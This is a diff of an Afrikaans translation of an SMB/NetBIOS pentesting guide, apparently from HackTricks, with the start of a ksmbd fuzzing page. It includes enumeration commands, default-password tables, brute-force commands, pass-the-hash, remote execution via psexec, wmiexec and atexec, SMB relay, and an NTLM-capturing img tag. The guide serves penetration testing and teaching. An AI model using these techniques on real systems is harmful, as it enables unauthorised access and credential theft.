+Die _**Network Basic Input Output System**_** (NetBIOS)** is 'n sagtewareprotokol wat ontwerp is om toepassings, rekenaars en desktops binne 'n lokale netwerk (LAN) in staat te stel om met netwerkhardeware te kommunikeer en **die oordrag van data oor die netwerk te fasiliteer**. Die identifikasie en ligging van sagtewaretoepassings wat op 'n NetBIOS-netwerk bedryf word, word deur hul NetBIOS names bereik, wat tot 16 karakters lank kan wees en dikwels verskil van die rekenaarnaam. 'n NetBIOS-sessie tussen twee toepassings word geïnisieer wanneer een toepassing (optredend as die client) 'n opdrag gee om "call" na 'n ander toepassing (optredend as die server) te rig deur gebruik te maak van **TCP Port 139**.
 ```
 139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
 ```
 ## Port 445
 
-Tegnies verwys Port 139 na ‘NBT over IP’, terwyl Port 445 geïdentifiseer word as ‘SMB over IP’. Die akroniem **SMB** staan vir ‘**Server Message Blocks**’, wat ook modern bekend is as die **Common Internet File System (CIFS)**. As 'n toepassingslaag-netwerkprotokol word SMB/CIFS hoofsaaklik gebruik om gedeelde toegang tot lêers, drukkers en seriële poorte te verleen, en om verskeie vorme van kommunikasie tussen nodes op 'n netwerk te fasiliteer.
+Tegnieks gesproke word Port 139 verwys as ‘NBT over IP’, terwyl Port 445 as ‘SMB over IP’ geïdentifiseer word. Die akroniem **SMB** staan vir ‘**Server Message Blocks**’, wat ook modern as die **Common Internet File System (CIFS)** bekend staan. As 'n application-layer netwerkprotokol word SMB/CIFS hoofsaaklik gebruik om gedeelde toegang tot lêers, drukkers, seriële poorte te verskaf en verskeie vorme van kommunikasie tussen nodes op 'n netwerk te fasiliteer.
 
-Byvoorbeeld, in die konteks van Windows word beklemtoon dat SMB direk oor TCP/IP kan werk deur gebruik te maak van port 445, wat die behoefte aan NetBIOS oor TCP/IP uitskakel. Omgekeerd word by ander stelsels die gebruik van port 139 waargeneem, wat aandui dat SMB in samewerking met NetBIOS oor TCP/IP uitgevoer word.
+Byvoorbeeld, in die konteks van Windows word beklemtoon dat SMB direk oor TCP/IP kan werk, wat die behoefte aan NetBIOS oor TCP/IP oortollig maak deur gebruik te maak van poort 445. In teenstelling daarmee, op ander stelsels word poort 139 gebruik, wat aandui dat SMB saam met NetBIOS oor TCP/IP uitgevoer word.
 ```
 445/tcp   open  microsoft-ds  Windows 7 Professional 7601 Service Pack 1 microsoft-ds (workgroup: WORKGROUP)
 ```
 ### SMB
 
-Die **Server Message Block (SMB)**-protokol, wat in 'n **client-server**-model werk, is ontwerp om **toegang tot lêers**, gidse en ander netwerkbronne soos printers en routers te reguleer. Dit word hoofsaaklik binne die **Windows**-bedryfstelselreeks gebruik. SMB verseker agterwaartse versoenbaarheid, sodat toestelle met nuwer weergawes van Microsoft se bedryfstelsel naatloos met toestelle wat ouer weergawes gebruik kan kommunikeer. Boonop bied die **Samba**-projek 'n gratis sagteware-oplossing wat die implementering van SMB op **Linux**- en Unix-stelsels moontlik maak en sodoende kruisplatformkommunikasie via SMB vergemaklik.
+Die **Server Message Block (SMB)** protokol, wat in 'n **kliënt-bediener** model werk, is ontwerp om **toegang tot lêers**, gidse, en ander netwerkhulpbronne soos drukkers en routers te reël. Hoofsaaklik gebruik binne die **Windows** bedryfstelselreeks, verseker SMB agterwaartse versoenbaarheid, wat toestelle met nuwer weergawes van Microsoft's bedryfstelsel toelaat om naatloos met dié wat ouer weergawes gebruik te kommunikeer. Verder bied die **Samba** projek 'n gratis sagteware-oplossing wat die implementering van SMB op **Linux** en **Unix** stelsels moontlik maak, en sodoende kruis-platform kommunikasie deur SMB vergemaklik.
 
-Shares, wat **willekeurige dele van die plaaslike lêerstelsel** verteenwoordig, kan deur 'n SMB-bediener aangebied word, wat die hiërargie vir 'n kliënt sigbaar maak wat gedeeltelik **onafhanklik** is van die werklike struktuur van die bediener. Die **Access Control Lists (ACLs)**, wat **toegangsregte** definieer, laat vir **fynkorrelige beheer** oor gebruikerspermissies toe, insluitend eienskappe soos **`execute`**, **`read`**, en **`full access`**. Hierdie permissies kan gebaseer op die shares aan individuele gebruikers of groepe toegekên word en is apart van die plaaslike permissies wat op die bediener ingestel is.
+Shares, wat **willekeurige dele van die plaaslike lêerstelsel** verteenwoordig, kan deur 'n SMB bediener aangebied word, wat die hiërargie vir 'n kliënt sigbaar maak en deels onafhanklik van die bediener se werklike struktuur kan wees. Die Access Control Lists (ACLs), wat toegangregte definieer, laat fynkorrelbeheer oor gebruikerspermisse toe, insluitend attribuut soos `execute`, `read`, en `full access`. Hierdie permissies kan aan individuele gebruikers of groepe toegewys word, gebaseer op die shares, en verskil van die plaaslike permissies wat op die bediener gestel is.
 
 ### IPC$ Share
 
-Toegang tot die IPC$ share kan verkry word via 'n anonieme null session, wat interaksie met dienste wat deur named pipes blootgestel word moontlik maak. Die nutsprogram `enum4linux` is nuttig hiervoor. As dit behoorlik gebruik word, stel dit in staat om die volgende te bekom:
+Toegang tot die IPC$ share kan verkry word deur 'n anonieme null session, wat interaksie met dienste wat via named pipes blootgestel word, toelaat. Die hulpmiddel `enum4linux` is nuttig vir hierdie doel. Korrekt gebruik, stel dit in staat om die verkryging van:
 
 - Inligting oor die bedryfstelsel
 - Besonderhede oor die ouer-domein
-- 'n Samestelling van plaaslike gebruikers en groepe
+- 'n samestelling van plaaslike gebruikers en groepe
 - Inligting oor beskikbare SMB shares
-- Die geldende stelsel-sekuriteitsbeleid
+- Die geldende stelselsekuriteitsbeleid
 
-Hierdie funksionaliteit is noodsaaklik vir netwerkadministrateurs en sekuriteitspraktisyns om die sekuriteitstoestand van SMB (Server Message Block)-dienste op 'n netwerk te evalueer. `enum4linux` bied 'n omvattende oorsig van die teikenstelsel se SMB-omgewing, wat noodsaaklik is om potensiële kwesbaarhede te identifiseer en te verseker dat die SMB-dienste behoorlik beveilig is.
+Hierdie funksionaliteit is krities vir netwerkadministrateurs en sekuriteitsprofessionals om die sekuriteitsposisie van SMB (Server Message Block) dienste op 'n netwerk te beoordeel. `enum4linux` bied 'n omvattende oorsig van die teikenstelsel se SMB-omgewing, wat noodsaaklik is om potensiële kwesbaarhede te identifiseer en te verseker dat die SMB-dienste behoorlik beveilig is.
 ```bash
 enum4linux -a target_ip
 ```
-Die bogenoemde opdrag is 'n voorbeeld van hoe `enum4linux` gebruik kan word om 'n full enumeration teen 'n teiken gespesifiseer deur `target_ip` uit te voer.
+Die bogenoemde opdrag is 'n voorbeeld van hoe `enum4linux` gebruik kan word om 'n volledige enumerasie teen 'n teiken wat deur `target_ip` gespesifiseer word uit te voer.
 
 ## Wat is NTLM
 
-As jy nie weet wat NTLM is nie of as jy wil weet hoe dit werk en hoe om dit te misbruik, sal jy hierdie bladsy oor **NTLM** baie interessant vind, waarin verduidelik word **hoe hierdie protokol werk en hoe jy dit kan uitbuit:**
-
+As jy nie weet wat NTLM is nie, of jy wil weet hoe dit werk en hoe om dit te misbruik, sal jy hierdie bladsy oor **NTLM** baie interessant vind, waarin verduidelik word **hoe hierdie protokol werk en hoe jy dit in jou voordeel kan benut:**
 
 {{#ref}}
 ../../windows-hardening/ntlm/
@@ -49,16 +48,16 @@ As jy nie weet wat NTLM is nie of as jy wil weet hoe dit werk en hoe om dit te m
 
 ## **Server Enumeration**
 
-### **Scan** a network op soek na hosts:
+### **Scan** 'n netwerk op soek na hosts:
 ```bash
 nbtscan -r 192.168.0.1/24
 ```
 ### SMB-bedienerweergawe
 
-Om na moontlike exploits vir die SMB-bedienerweergawe te soek, is dit belangrik om te weet watter weergawe gebruik word. As hierdie inligting nie in ander gebruikte gereedskap verskyn nie, kan jy:
+Om moontlike exploits vir die SMB-weergawe te soek, is dit belangrik om te weet watter weergawe gebruik word. As hierdie inligting nie in ander gebruikte gereedskap verskyn nie, kan jy:
 
 - Gebruik die **MSF** auxiliary module `**auxiliary/scanner/smb/smb_version**`
-- Of hierdie skrip:
+- Of hierdie script:
 ```bash
 #!/bin/sh
 #Author: rewardone
@@ -80,17 +79,17 @@ echo "" && sleep .1
 msf> search type:exploit platform:windows target:2008 smb
 searchsploit microsoft smb
 ```
-### **Moontlike Kredensiale**
+### **Moontlike** Kredensiale
 
-| **Gebruikersnaam(s)** | **Algemene wagwoorde**                   |
-| --------------------- | ---------------------------------------- |
-| _(leeg)_              | _(leeg)_                                 |
-| guest                 | _(blank)_                                |
-| Administrator, admin  | _(blank)_, password, administrator, admin |
-| arcserve              | arcserve, backup                         |
-| tivoli, tmersrvd      | tivoli, tmersrvd, admin                  |
-| backupexec, backup    | backupexec, backup, arcada               |
-| test, lab, demo       | password, test, lab, demo                |
+| **Gebruikersnaam(e)** | **Common passwords**                      |
+| -------------------- | ----------------------------------------- |
+| _(leeg)_            | _(leeg)_                                 |
+| guest                | _(blank)_                                 |
+| Administrator, admin | _(blank)_, password, administrator, admin |
+| arcserve             | arcserve, backup                          |
+| tivoli, tmersrvd     | tivoli, tmersrvd, admin                   |
+| backupexec, backup   | backupexec, backup, arcada                |
+| test, lab, demo      | password, test, lab, demo                 |
 
 ### Brute Force
 
@@ -120,7 +119,7 @@ rpcclient -U "username%passwd" <IP> #With creds
 /usr/share/doc/python3-impacket/examples/rpcdump.py -port 139 [[domain/]username[:password]@]<targetName or address>
 /usr/share/doc/python3-impacket/examples/rpcdump.py -port 445 [[domain/]username[:password]@]<targetName or address>
 ```
-### Enumerate Users, Groups & Logged On Users
+### Enumereer Gebruikers, Groepe & Aangemelde Gebruikers
 
 Hierdie inligting behoort reeds deur enum4linux en enum4linux-ng versamel te wees.
 ```bash
@@ -150,28 +149,28 @@ use auxiliary/scanner/smb/smb_lookupsid
 set rhosts hostname.local
 run
 ```
-### **Enumerering van LSARPC en SAMR rpcclient**
+### **Enumerasie van LSARPC en SAMR rpcclient**
 
 
 {{#ref}}
 rpcclient-enumeration.md
 {{#endref}}
 
-### GUI-verbinding vanaf Linux
+### GUI-verbinding vanaf linux
 
 #### In die terminal:
 
 `xdg-open smb://cascade.htb/`
 
-#### In die lêerblaaier-venster (nautilus, thunar, ens.)
+#### In die lêerblaaier-venster (nautilus, thunar, etc)
 
 `smb://friendzone.htb/general/`
 
 ## Enumerasie van gedeelde vouers
 
-### Lys gedeelde vouers
+### Lys van gedeelde vouers
 
-Dit word altyd aanbeveel om te kyk of jy enige toegang het. As jy nie credentials het nie, probeer om **null** **credentials/guest user** te gebruik.
+Dit word altyd aanbeveel om te kyk of jy toegang tot enigiets het. As jy nie credentials het nie, probeer om **null** **credentials/guest user** te gebruik.
 ```bash
 smbclient --no-pass -L //<IP> # Null user
 smbclient -U 'username[%passwd]' -L [--pw-nt-hash] //<IP> #If you omit the pwd, it will be prompted. With --pw-nt-hash, the pwd provided is the NT hash
@@ -185,7 +184,7 @@ crackmapexec smb <IP> -u '' -p '' --shares #Null user
 crackmapexec smb <IP> -u 'username' -p 'password' --shares #Guest user
 crackmapexec smb <IP> -u 'username' -H '<HASH>' --shares #Guest user
 ```
-### **Koppel/Lys ’n gedeelde vouer**
+### **Koppel/Lys 'n gedeelde vouer**
 ```bash
 #Connect using smbclient
 smbclient --no-pass //<IP>/<Folder>
@@ -197,11 +196,11 @@ smbmap [-u "username" -p "password"] -R [Folder] -H <IP> [-P <PORT>] # Recursive
 smbmap [-u "username" -p "password"] -r [Folder] -H <IP> [-P <PORT>] # Non-Recursive list
 smbmap -u "username" -p "<NT>:<LM>" [-r/-R] [Folder] -H <IP> [-P <PORT>] #Pass-the-Hash
 ```
-### **Handmatig opnoem van Windows shares en daaraan koppel**
+### **Manueel Windows shares opnoem en daaraan koppel**
 
-Dit kan wees dat jy beperk is om enige shares van die gasheer-masjien te vertoon, en wanneer jy probeer om hulle te lys, lyk dit asof daar geen shares is om te koppel nie. Dit kan dus die moeite werd wees om kortliks te probeer om manueel aan 'n share te koppel. Om die shares manueel op te noem, wil jy kyk na antwoorde soos NT_STATUS_ACCESS_DENIED en NT_STATUS_BAD_NETWORK_NAME wanneer jy 'n geldige session gebruik (bv. null session of valid credentials). Dit kan aandui of die share bestaan en jy nie toegang daartoe het nie, of die share bestaan glad nie.
+Dit is moontlik dat jy beperk is om enige shares van die gasheer te wys, en wanneer jy probeer om dit op te lys, lyk dit asof daar geen shares is om aan te koppel nie. Dit kan dus die moeite werd wees om kortliks te probeer om manueel aan 'n share te koppel. Om die shares manueel op te noem, wil jy moontlik na antwoorde soos NT_STATUS_ACCESS_DENIED en NT_STATUS_BAD_NETWORK_NAME kyk wanneer 'n geldige sessie gebruik word (bv. null session of valid credentials). Hierdie kan aandui of die share bestaan en jy nie toegang daartoe het nie, of die share bestaan glad nie.
 
-Common share names for windows targets are
+Common share names for Windows targets are
 
 - C$
 - D$
@@ -212,14 +211,14 @@ Common share names for windows targets are
 - SYSVOL
 - NETLOGON
 
-(Common share names from _**Network Security Assessment 3rd edition**_)
+(Common share-names uit _**Network Security Assessment 3rd edition**_)
 
-Jy kan probeer om daarmee te verbind deur die volgende kommando te gebruik
+Jy kan probeer om daaraan te koppel deur die volgende kommando te gebruik
 ```bash
 smbclient -U '%' -N \\\\<IP>\\<SHARE> # null session to connect to a windows share
 smbclient -U '<USER>' \\\\<IP>\\<SHARE> # authenticated session to connect to a windows share (you will be prompted for a password)
 ```
-of hierdie script (met 'n null session)
+of hierdie skrip (gebruik 'n null session)
 ```bash
 #/bin/bash
 
@@ -241,7 +240,7 @@ voorbeelde
 smbclient -U '%' -N \\\\192.168.0.24\\im_clearly_not_here # returns NT_STATUS_BAD_NETWORK_NAME
 smbclient -U '%' -N \\\\192.168.0.24\\ADMIN$ # returns NT_STATUS_ACCESS_DENIED or even gives you a session
 ```
-### **Lys netwerkshares vanaf Windows / sonder gereedskap van derde partye**
+### **Enumereer shares vanaf Windows / sonder derdeparty-instrumente**
 
 PowerShell
 ```bash
@@ -253,7 +252,7 @@ get-smbshare -CimSession "<computer name or session object>"
 # Retrieves the connections established from the local SMB client to the SMB servers.
 Get-SmbConnection
 ```
-CMD-konsol
+CMD konsole
 ```shell
 # List shares on the local computer
 net share
@@ -267,16 +266,16 @@ fsmgmt.msc
 # Computer Management: Computer Management > System Tools > Shared Folders > Shares
 compmgmt.msc
 ```
-explorer.exe (grafies), tik `\\<ip>\` om die beskikbare nie-verborgde shares te sien.
+explorer.exe (grafies), voer `\\<ip>\` in om die beskikbare nie-verborgde shares te sien.
 
-### Mount 'n shared folder
+### Monteer 'n gedeelde gids
 ```bash
 mount -t cifs //x.x.x.x/share /mnt/share
 mount -t cifs -o "username=user,password=password" //x.x.x.x/share /mnt/share
 ```
-### **Download files**
+### **Laai lêers af**
 
-Lees die vorige afdelings om te leer hoe om verbinding te maak met credentials/Pass-the-Hash.
+Lees die vorige afdelings om te leer hoe om met credentials/Pass-the-Hash te verbind.
 ```bash
 #Search a file and download
 sudo smbmap -R Folder -H <IP> -A <FileName> -q # Search the file in recursive mode and download it inside /usr/share/smbmap
@@ -295,12 +294,12 @@ Opdragte:
 
 - mask: spesifiseer die mask wat gebruik word om die lêers binne die gids te filter (bv. "" vir alle lêers)
 - recurse: skakel rekursie aan (standaard: af)
-- prompt: skakel die prompting vir lêernaam uit (standaard: aan)
-- mget: kopieer alle lêers wat aan die mask voldoen van die host na die kliëntmasjien
+- prompt: skakel die bevestiging vir bestandsname af (standaard: aan)
+- mget: kopieer alle lêers wat by die mask pas vanaf die host na die client machine
 
-(_Inligting uit die manpage van smbclient_)
+(_Inligting vanaf die manpage van smbclient_)
 
-### Soektog na gedeelde vouers op die domein
+### Soektog na gedeelde domeinvouers
 
 - [**Snaffler**](https://github.com/SnaffCon/Snaffler)
 ```bash
@@ -312,51 +311,51 @@ Snaffler.exe -s -d domain.local -o snaffler.log -v data
 ```bash
 sudo crackmapexec smb 10.10.10.10 -u username -p pass -M spider_plus --share 'Department Shares'
 ```
-Spesiaal interessant in shares is die lêers met die naam **`Registry.xml`**, aangesien hulle **miskien wagwoorde bevat** vir gebruikers wat met **autologon** via Group Policy gekonfigureer is. Of **`web.config`**-lêers, aangesien hulle inlogbesonderhede bevat.
+Wat veral interessant is op shares, is lêers soos **`Registry.xml`**, aangesien hulle **wagwoorde kan bevat** vir gebruikers wat via Group Policy met **autologon** gekonfigureer is. Of **`web.config`**-lêers, aangesien hulle credentials bevat.
 
 > [!TIP]
-> Die **SYSVOL share** is **leesbaar** deur alle geverifieerde gebruikers in die domein. Daarin kan jy baie verskillende batch-, VBScript- en PowerShell **scripts** vind.\
-> Jy behoort die **scripts** daarin na te gaan, aangesien jy sensitiewe inligting soos **wagwoorde** kan vind.
+> Die **SYSVOL share** is **leesbaar** deur alle geverifieerde gebruikers in die domein. Daarin kan jy baie verskillende batch-, VBScript- en PowerShell **skripte** vind.\
+> Jy moet die **skripte** daarin nagaan aangesien jy sensitiewe inligting soos **wagwoorde** kan vind.
 
-## Lees Registry
+## Lees die register
 
-Jy kan dalk die **Registry** lees met sommige ontdekte inlogbesonderhede. Impacket **`reg.py`** laat jou toe om dit te probeer:
+Jy mag in staat wees om die **register te lees** met sommige ontdekte credentials. Impacket **`reg.py`** laat jou toe om dit te probeer:
 ```bash
 sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKU -s
 sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKCU -s
 sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKLM -s
 ```
-## Post Exploitation
+## Post-eksploitasie
 
-Die **verstekkonfigurasie van** 'n **Samba** server is gewoonlik geleë in `/etc/samba/smb.conf` en kan sommige **gevaarlike konfigurasies** hê:
+Die **standaardkonfigurasie van** 'n **Samba** bediener is gewoonlik geleë in `/etc/samba/smb.conf` en kan sommige **gevaarlike konfigurasies** hê:
 
-| **Instelling**             | **Beskrywing**                                                      |
+| **Instelling**              | **Beskrywing**                                                     |
 | --------------------------- | ------------------------------------------------------------------- |
 | `browseable = yes`          | Laat toe om beskikbare shares in die huidige share te lys?         |
 | `read only = no`            | Verbied die skep en wysiging van lêers?                             |
 | `writable = yes`            | Laat gebruikers toe om lêers te skep en te wysig?                   |
-| `guest ok = yes`            | Laat verbind tot die diens toe sonder om 'n wagwoord te gebruik?    |
-| `enable privileges = yes`   | Hou priviliges wat aan 'n spesifieke SID toegewys is in ag?         |
-| `create mask = 0777`        | Watter toestemmings moet aan die nuut geskepte lêers toegeken word? |
-| `directory mask = 0777`     | Watter toestemmings moet aan die nuut geskepte directories toegeken word? |
-| `logon script = script.sh`  | Watter script moet uitgevoer word by die gebruiker se aanmelding?   |
+| `guest ok = yes`            | Laat toe om by die diens aan te sluit sonder 'n wagwoord?           |
+| `enable privileges = yes`   | Erken voorregte wat aan 'n spesifieke SID toegeken is?             |
+| `create mask = 0777`        | Watter toestemmings moet aan nuut geskepte lêers toegeken word?     |
+| `directory mask = 0777`     | Watter toestemmings moet aan nuut geskepte gidse toegeken word?     |
+| `logon script = script.sh`  | Watter script moet uitgevoer word tydens die gebruiker se aanmelding? |
 | `magic script = script.sh`  | Watter script moet uitgevoer word wanneer die script gesluit word?  |
-| `magic output = script.out` | Waar moet die uitvoer van die magic script gestoor word?           |
+| `magic output = script.out` | Waar die uitset van die magic script gestoor moet word?            |
 
-Die opdrag `smbstatus` gee inligting oor die **server** en oor **wie gekoppel is**.
+Die opdrag `smbstatus` gee inligting oor die **bediener** en oor **wie verbind is**.
 
-## Verifieer met Kerberos
+## Outentiseer met Kerberos
 
-Jy kan by **kerberos** **verifieer** deur die gereedskap **smbclient** en **rpcclient** te gebruik:
+Jy kan **outentiseer** by **Kerberos** met die gereedskap **smbclient** en **rpcclient**:
 ```bash
 smbclient --kerberos //ws01win10.domain.com/C$
 rpcclient -k ws01win10.domain.com
 ```
-## **Voer Opdragte Uit**
+## **Voer opdragte uit**
 
 ### **crackmapexec**
 
-crackmapexec kan opdragte uitvoer deur enige van **mmcexec, smbexec, atexec, wmiexec** te misbruik, waar **wmiexec** die **standaard** metode is. Jy kan aandui watter opsie jy verkies met die parameter `--exec-method`:
+crackmapexec kan opdragte uitvoer deur enige van **mmcexec, smbexec, atexec, wmiexec** te **misbruik**, waarbij **wmiexec** die **verstek-metode** is. Jy kan aandui watter opsie jy verkies om te gebruik met die parameter `--exec-method`:
 ```bash
 apt-get install crackmapexec
 
@@ -380,8 +379,8 @@ crackmapexec smb <IP> -d <DOMAIN> -u Administrator -H <HASH> #Pass-The-Hash
 ```
 ### [**psexec**](../../windows-hardening/lateral-movement/psexec-and-winexec.md)**/**[**smbexec**](../../windows-hardening/lateral-movement/smbexec.md)
 
-Albei opsies sal **'n nuwe diens skep** (deur _\pipe\svcctl_ via SMB te gebruik) op die slagoffer se masjien en dit gebruik om **iets uit te voer** (**psexec** sal **upload** 'n executable file na ADMIN$ share en **smbexec** sal na **cmd.exe/powershell.exe** wys en die payload in die argumente plaas --**file-less technique-**-).\
-**Meer info** oor [**psexec** ](../../windows-hardening/lateral-movement/psexec-and-winexec.md) en [**smbexec**](../../windows-hardening/lateral-movement/smbexec.md).\
+Albei opsies sal **'n nuwe diens skep** (deur _\pipe\svcctl_ via SMB te gebruik) op die slagoffer se masjien en dit gebruik om **iets uit te voer** (**psexec** sal **upload** 'n uitvoerbare lêer na ADMIN$ share en **smbexec** sal na **cmd.exe/powershell.exe** wys en die payload in die argumente plaas --**file-less technique-**-).\
+**Meer inligting** oor [**psexec** ](../../windows-hardening/lateral-movement/psexec-and-winexec.md)and [**smbexec**](../../windows-hardening/lateral-movement/smbexec.md).\
 In **kali** is dit geleë op /usr/share/doc/python3-impacket/examples/
 ```bash
 #If no password is provided, it will be prompted
@@ -390,11 +389,11 @@ In **kali** is dit geleë op /usr/share/doc/python3-impacket/examples/
 psexec \\192.168.122.66 -u Administrator -p 123456Ww
 psexec \\192.168.122.66 -u Administrator -p q23q34t34twd3w34t34wtw34t # Use pass the hash
 ```
-Deur die **parameter**`-k` te gebruik kan jy teen **kerberos** authentikeer in plaas van **NTLM**
+Deur die **parameter** `-k` te gebruik, kan jy teen **kerberos** autentikeer in plaas van **NTLM**
 
 ### [wmiexec](../../windows-hardening/lateral-movement/wmiexec.md)/dcomexec
 
-Voer heimlik 'n command shell uit sonder om die skyf te raak of 'n nuwe diens te laat loop deur DCOM via **port 135.**\
+Heimlik voer 'n command shell uit sonder om die skyf te raak of 'n nuwe diens te laat loop deur DCOM via **port 135.**\
 In **kali** is dit geleë by /usr/share/doc/python3-impacket/examples/
 ```bash
 #If no password is provided, it will be prompted
@@ -411,7 +410,7 @@ Deur die **parameter**`-k` te gebruik, kan jy teen **kerberos** autentiseer in p
 ```
 ### [AtExec](../../windows-hardening/lateral-movement/atexec.md)
 
-Voer opdragte uit via die Task Scheduler (met gebruik van _\pipe\atsvc_ via SMB).\
+Voer kommando's uit via die Taakskeduleerder (wat _\pipe\atsvc_ via SMB gebruik).\
 In **kali** is dit geleë op /usr/share/doc/python3-impacket/examples/
 ```bash
 ./atexec.py [[domain/]username[:password]@]<targetName or address> "command"
@@ -421,27 +420,27 @@ In **kali** is dit geleë op /usr/share/doc/python3-impacket/examples/
 
 [https://www.hackingarticles.in/beginners-guide-to-impacket-tool-kit-part-1/](https://www.hackingarticles.in/beginners-guide-to-impacket-tool-kit-part-1/)
 
-### ksmbd aanvalsoppervlak en SMB2/SMB3 protocol fuzzing (syzkaller)
+### ksmbd attack surface and SMB2/SMB3 protocol fuzzing (syzkaller)
 
 {{#ref}}
 ksmbd-attack-surface-and-fuzzing-syzkaller.md
 {{#endref}}
 
-## **Bruteforce gebruikers credentials**
+## **Bruteforce gebruikersbewyse**
 
-**Hierdie word nie aanbeveel nie, jy kan 'n rekening blokkeer as jy die maksimum toegelate pogings oorskry**
+**Dit word nie aanbeveel nie — jy kan 'n rekening blokkeer as jy die maksimum toegelate pogings oorskry**
 ```bash
 nmap --script smb-brute -p 445 <IP>
 ridenum.py <IP> 500 50000 /root/passwds.txt #Get usernames bruteforcing that rids and then try to bruteforce each user name
 ```
 ## SMB relay attack
 
-Hierdie aanval gebruik die Responder toolkit om **SMB-authentikasiesessies te vang** op 'n interne netwerk, en **herlei** hulle na 'n **doelmasjien**. As die authentikasiesessie **suksesvol** is, sal dit jou outomaties in 'n **stelsel** **shell** laat beland.\
-[**Meer inligting oor hierdie aanval hier.**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md)
+Hierdie aanval gebruik die Responder toolkit om **SMB-authentiseringsessies vas te vang** op 'n interne netwerk, en **herlei** dit na 'n **teikenmasjien**. As die authentisering **sessie suksesvol** is, sal dit jou outomaties in 'n **stelsel** **shell** plaas.\
+[**More information about this attack here.**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md)
 
 ## SMB-Trap
 
-Die Windows-biblioteek URLMon.dll probeer outomaties om by die gasheer te autentiseer wanneer 'n bladsy probeer om inhoud via SMB te bereik, byvoorbeeld: `img src="\\10.10.10.10\path\image.jpg"`
+Die Windows-biblioteek URLMon.dll probeer outomaties by die gasheer autentiseer wanneer 'n bladsy probeer om inhoud via SMB te bereik, byvoorbeeld: `img src="\\10.10.10.10\path\image.jpg"`
 
 Dit gebeur met die funksies:
 
@@ -450,7 +449,7 @@ Dit gebeur met die funksies:
 - URLOpenStream
 - URLOpenBlockingStream
 
-Wat deur sommige blaaiers en tools (soos Skype) gebruik word
+Wat deur sommige blaaiers en gereedskap gebruik word (soos Skype)
 
 ![Van: http://www.elladodelmal.com/2017/02/como-hacer-ataques-smbtrap-windows-con.html](<../../images/image (358).png>)
 
@@ -460,9 +459,9 @@ Wat deur sommige blaaiers en tools (soos Skype) gebruik word
 
 ## NTLM Theft
 
-Soortgelyk aan SMB Trapping, kan die plaas van kwaadwillige lêers op 'n doelstelsel (bv. via SMB) 'n SMB-authentikasiepoging uitlok, wat toelaat dat die NetNTLMv2-hash met 'n instrument soos Responder onderskep word. Die hash kan dan aflyn gekraak word of gebruik word in 'n [SMB relay attack](#smb-relay-attack).
+Vergelykbaar met SMB Trapping, kan die plant van kwaadwillige lêers op 'n teikenstelsel (byvoorbeeld via SMB) 'n SMB-authentiseringspoging uitlok, wat toelaat dat die NetNTLMv2-hash met 'n hulpmiddel soos Responder onderskep word. Die hash kan dan offline gekraak word of gebruik word in 'n [SMB relay attack](#smb-relay-attack).
 
-[Sien: ntlm_theft](../../windows-hardening/ntlm/places-to-steal-ntlm-creds.md#ntlm_theft)
+[See: ntlm_theft](../../windows-hardening/ntlm/places-to-steal-ntlm-creds.md#ntlm_theft)
 
 ## HackTricks Outomatiese Opdragte
 ```
diff --git a/src/network-services-pentesting/pentesting-smb/ksmbd-attack-surface-and-fuzzing-syzkaller.md b/src/network-services-pentesting/pentesting-smb/ksmbd-attack-surface-and-fuzzing-syzkaller.md
index 0f2695ede..7a53ea510 100644
--- a/src/network-services-pentesting/pentesting-smb/ksmbd-attack-surface-and-fuzzing-syzkaller.md
+++ b/src/network-services-pentesting/pentesting-smb/ksmbd-attack-surface-and-fuzzing-syzkaller.md
@@ -3,24 +3,24 @@
 {{#include ../../banners/hacktricks-training.md}}
 
 ## Oorsig
-Hierdie bladsy abstraheer praktiese tegnieke om die Linux in-kernel SMB-bediener (ksmbd) met syzkaller te oefen en te fuzz. Dit fokus op die uitbreiding van die protokol-aanvalsoppervlak deur konfigurasie, die bou van ’n staatvolle harness wat SMB2-operasies aaneen kan skakel, die genereer van grammar-valid PDUs, die bevooroordeling van mutasies na swak-gedekte kodepaaie, en die benutting van syzkaller-funksies soos focus_areas en ANYBLOB. Terwyl die oorspronklike navorsing spesifieke CVEs opsom, beklemtoon ons hier die herbruikbare metodologie en konkrete snippers wat jy aan jou eie opstellings kan aanpas.
+Hierdie bladsy som praktiese tegnieke op om die Linux in-kernel SMB-bediener (ksmbd) met syzkaller te oefen en te fuzz. Dit fokus op die uitbreiding van die protokol se aanvalsoppervlak deur konfigurasie, die bou van 'n stateful harness wat SMB2-operasies kan keten, die genereer van grammatika-geldige PDUs, die bevooroordeeling van mutasies na swak-gedekde kodepaaie, en die benutting van syzkaller-funksies soos focus_areas en ANYBLOB. Alhoewel die oorspronklike navorsing spesifieke CVE's opsom, beklemtoon ons hier die herbruikbare metodologie en konkrete snippette wat jy vir jou eie opstellings kan aanpas.
 
-Teikengrens: SMB2/SMB3 oor TCP. Kerberos en RDMA is doelbewus buite omvang om die harness eenvoudig te hou.
+Teikenomvang: SMB2/SMB3 oor TCP. Kerberos en RDMA is doelbewus buite bestek om die harness eenvoudig te hou.
 
 ---
 
-## Brei ksmbd-aanvalsoppervlak uit via Konfigurasie
-By verstek laat ’n minimale ksmbd-opstelling groot gedeeltes van die bediener ongetoets. Skakel die volgende funksies in om die bediener deur addisionele parsers/handlers te bestuur en dieper kodepaaie te bereik:
+## Brei ksmbd-aanvalsoppervlak uit via konfigurasie
+By verstek laat 'n minimale ksmbd-opstelling groot dele van die bediener ongetoets. Skakel die volgende funksies in om die bediener deur bykomende parsers/handlers te dwing en dieper kodepaaie te bereik:
 
-- Globale vlak
+- Global-level
 - Durable handles
 - Server multi-channel
 - SMB2 leases
-- Per-share-vlak
-- Oplocks (aan standaard)
+- Per-share-level
+- Oplocks (on by default)
 - VFS objects
 
-Die aktivering van hierdie elemente verhoog die uitvoering in modules soos:
+Deur hierdie opsies te aktiveer verhoog die uitvoering in modules soos:
 - smb2pdu.c (command parsing/dispatch)
 - ndr.c (NDR encode/decode)
